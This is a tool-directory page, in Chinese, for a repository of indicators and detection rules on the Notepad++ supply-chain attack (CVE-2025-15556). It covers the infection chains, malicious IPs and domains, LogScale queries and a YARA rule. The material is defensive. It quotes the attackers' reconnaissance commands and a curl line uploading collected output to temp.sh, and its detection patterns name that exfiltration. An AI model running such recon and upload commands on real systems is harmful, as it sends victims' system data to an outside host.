Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
notepadpp-supply-chain-iocs — 用于Notepad++供应链攻击(CVE-2025-15556)的IoC和检测规则——Lotus Blossom APT,2025年6月至12月。包含Falcon LogScale查询、YARA/Sigma规则以及MITRE ATT&CK映射。 | Kitploit
工具/GitHubGitHub/renat0z3r0/notepadpp-supply-chain-iocs
危害指标 (IOC) 管理威胁源与聚合器漏洞分析取证分析恶意软件分析威胁情报供应链安全学习与教育事件响应

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubrenat0z3r0/notepadpp-supply-chain-iocs

notepadpp-supply-chain-iocs

用于Notepad++供应链攻击(CVE-2025-15556)的IoC和检测规则——Lotus Blossom APT,2025年6月至12月。包含Falcon LogScale查询、YARA/Sigma规则以及MITRE ATT&CK映射。

查看仓库
1298个月前尚未审核

Notepad++ 供应链攻击 — IoC 仓库

CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | 2025年6月 – 2025年12月

Last Updated IoC Count License: MIT MITRE ATT&CK


概述

本仓库收录了与 Notepad++ 供应链攻击(2026年2月2日披露)相关的 全面、整合的入侵指标(IoC)集合。

在 2025年6月至12月 期间,一个中国背景的国家资助威胁行为者入侵了 Notepad++ 的托管基础设施,劫持了内置更新机制(WinGUp),有选择性地向目标用户投递了被植入木马的安装程序。该攻击利用了更新程序(v8.8.9 之前版本)缺乏加密验证的漏洞,实现了自定义后门、Cobalt Strike Beacon 和 Metasploit 载荷的分发。

关键事实

CVECVE-2025-15556 — 无完整性检查的代码下载
威胁行为者Lotus Blossom(Bilbug,Raspberry Typhoon,Thrip)/ Zirconium(Violet Typhoon)
活跃期2025年6月 – 2025年12月2日
攻击向量通过 WinGUp 自动更新供应链投毒
目标政府、电信、金融服务业、IT 提供商(菲律宾、越南、萨尔瓦多、澳大利亚、东亚)
恶意软件Chrysalis 后门(自定义)、Cobalt Strike Beacon、Metasploit Meterpreter
修复版本Notepad++ v8.8.9+(证书验证)/ v8.9.1+(XMLDSig 验证)

感染链

Kaspersky GReAT 识别出 三条不同的感染链,大约每月轮换一次以逃避检测:

链 #1 — 2025年7月/8月

GUP.exe → update.exe (NSIS) → ProShow.exe (合法) → 通过 "load" 文件利用漏洞
  → Metasploit 下载器 → Cobalt Strike Beacon
  • 滥用 ProShow 软件中的旧漏洞,而非 DLL 侧加载
  • 侦查:whoami && tasklist → 通过 temp.sh 外传
  • 工作目录:%appdata%\ProShow\

链 #2 — 2025年9月/10月

GUP.exe → update.exe (NSIS) → script.exe (Lua 解释器) → alien.ini (编译后的 Lua)
  → 通过 EnumWindowStationsW 执行 shellcode → Metasploit 下载器 → Cobalt Strike Beacon
  • 使用 合法的 Lua 解释器 执行编译后的 shellcode
  • 扩展侦查:whoami && tasklist && systeminfo && netstat -ano
  • 工作目录:%appdata%\Adobe\Scripts\

链 #3 — 2025年10月

GUP.exe → update.exe (NSIS) → BluetoothService.exe (合法) → log.dll (侧加载)
  → 解密 "BluetoothService" shellcode → Chrysalis 后门
  • 经典的 DLL 侧加载 技术
  • 无内置侦查(与链 #1 和 #2 不同)
  • 工作目录:%appdata%\Bluetooth\
  • 在 C:\ProgramData\USOShared\ 中发现相关联的 Cobalt Strike Beacon
                     ┌─────────────────────────────────────────────────────────┐
                     │              入侵时间线                                 │
                     ├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
                     │ 25年7月 │ 25年8月 │ 25年9月 │ 25年10月│ 25年11月│25年12月│
                     ├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
  链 #1 (ProShow)    │████████████████████                                    │
  链 #2 (Lua)        │                    █████████████████████████████        │
  链 #3 (DLL 侧加载) │                              ██████████████            │
  基础设施访问       │████████████████████████████████████████████████████████│
                     └────────────────────────────────────────────────────────┘

仓库内容

文件描述
notepadpp_supply_chain_iocs.csv完整 IoC 数据集(105 个指标),含 MITRE ATT&CK 映射

CSV 模式

列描述
ioc_type类型:ip、domain、url、sha1、sha256、filepath、filename、useragent、behavior、cve、attribution、compromise_window
ioc_value指标值
chain感染链(1、2、3、1/2、2/3、all、n/a)
context对该 IoC 代表的描述
source情报来源(Kaspersky、Rapid7、CrowdStrike、Tenable、Kevin Beaumont)
risk严重性(CRITICAL、HIGH、MEDIUM、LOW、INFO)
mitre_techniqueMITRE ATT&CK 技术 ID

检测与威胁狩猎

优先指标(从这里开始)

行为类(与 IoC 无关,最高价值):

  • gup.exe 生成除合法签名 Notepad++ 安装程序外的任何子进程
  • gup.exe 连接到非 notepad-plus-plus.org、github.com、release-assets.githubusercontent.com 的域名/IP
  • 创建目录:%appdata%\ProShow\、%appdata%\Adobe\Scripts\、%appdata%\Bluetooth\
  • 创建 %localappdata%\Temp\ns.tmp\(NSIS 运行时——出现在所有链中)

网络类(高置信度):

  • DNS 解析 cdncheck.it.com、safe-dns.it.com、self-dns.it.com、api.skycloudcenter.com、api.wiresguard.com
  • 连接至 temp.sh(51.91.79.17)——尤其伴随通过 curl 上传文件
  • HTTP 请求中 User-Agent 头嵌入 temp.sh URL
  • 出站连接至 45.76.155.202、45.32.144.255、95.179.213.0、45.77.31.210

侦查命令(后利用阶段):

cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload

CrowdStrike Falcon LogScale 查询

行为:GUP.exe 子进程狩猎
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])
跨进程、网络和 DNS 事件的多 IoC 狩猎
#event_simpleName=/(ProcessRollup2|NetworkConnectIP4|DnsRequest)/ event_platform=Win
| case {
    // 恶意 IP
    RemoteAddressIP4=/(95\.179\.213\.0|61\.4\.102\.97|59\.110\.7\.32|124\.222\.137\.114|45\.76\.155\.202|45\.32\.144\.255|45\.77\.31\.210)/
        | iocType := "Malicious IP" | iocValue := RemoteAddressIP4 | riskScore := "HIGH";
    // 恶意域名
    DomainName=/(api\.skycloudcenter\.com|api\.wiresguard\.com|cdncheck\.it\.com|safe-dns\.it\.com|self-dns\.it\.com|temp\.sh)/i
        | iocType := "Malicious Domain" | iocValue := DomainName | riskScore := "HIGH";
    // 可疑文件名
    ImageFileName=/\\(BluetoothService|admin|system|loader1|loader2|s047t5g|ConsoleApplication2|3yzr31vk|uffhxpSy)\.exe$/i
        | iocType := "Suspicious Filename" | iocValue := ImageFileName | riskScore := "MEDIUM";
    // 可疑 DLL
    ImageFileName=/\\(log\.dll|libtcc\.dll)$/i
        | iocType := "Suspicious DLL" | iocValue := ImageFileName | riskScore := "MEDIUM";
    // 特定链的 artifacts
    ImageFileName=/\\(alien\.ini|load)$/i
        | iocType := "Chain Artifact" | iocValue := ImageFileName | riskScore := "HIGH";
    * | iocType := null;
}
| iocType=*
| ImageFileName=/\\(?<FileName>[^\\]+)$/
| table([riskScore, iocType, iocValue, @timestamp, aid, ComputerName, FileName, ImageFileName, CommandLine, SHA256HashData, RemoteAddressIP4, DomainName], limit=5000)
NSIS 安装程序检测(所有链)
#event_simpleName=DirectoryCreate event_platform=Win
| FilePath=/\\ns\.tmp$/i
| FilePath=/\\Temp\\ns\.tmp$/i
| groupBy([aid, ComputerName, FilePath, ContextTimeStamp], limit=5000)

YARA 规则(NSIS + 侦查模式)

针对恶意 NSIS 更新程序的 YARA 规则
rule Notepadpp_SupplyChain_MaliciousUpdater {
    meta:
        description = "检测来自 Notepad++ 供应链攻击的恶意 NSIS 安装程序"
        author = "Renato Z3r0 ed i miei sorcini"
        date = "2026-02"
        reference = "https://securelist.com/notepad-supply-chain-attack/118708/"
        tlp = "WHITE"
        
    strings:
        $nsis = "Nullsoft.NSIS" ascii
        $recon1 = "whoami" ascii nocase
        $recon2 = "tasklist" ascii nocase
        $recon3 = "systeminfo" ascii nocase
        $recon4 = "netstat -ano" ascii nocase
        $exfil = "temp.sh/upload" ascii nocase
        $curl = "curl" ascii nocase
        $dir1 = "\\ProShow\\" ascii nocase
        $dir2 = "\\Adobe\\Scripts\\" ascii nocase
        $dir3 = "\\Bluetooth\\" ascii nocase
        
    condition:
        uint16(0) == 0x5A4D and
        $nsis and
        (2 of ($recon*) or $exfil or ($curl and 1 of ($recon*))) and
        1 of ($dir*)
}

Sigma 规则

Sigma:GUP.exe 可疑子进程
下载工具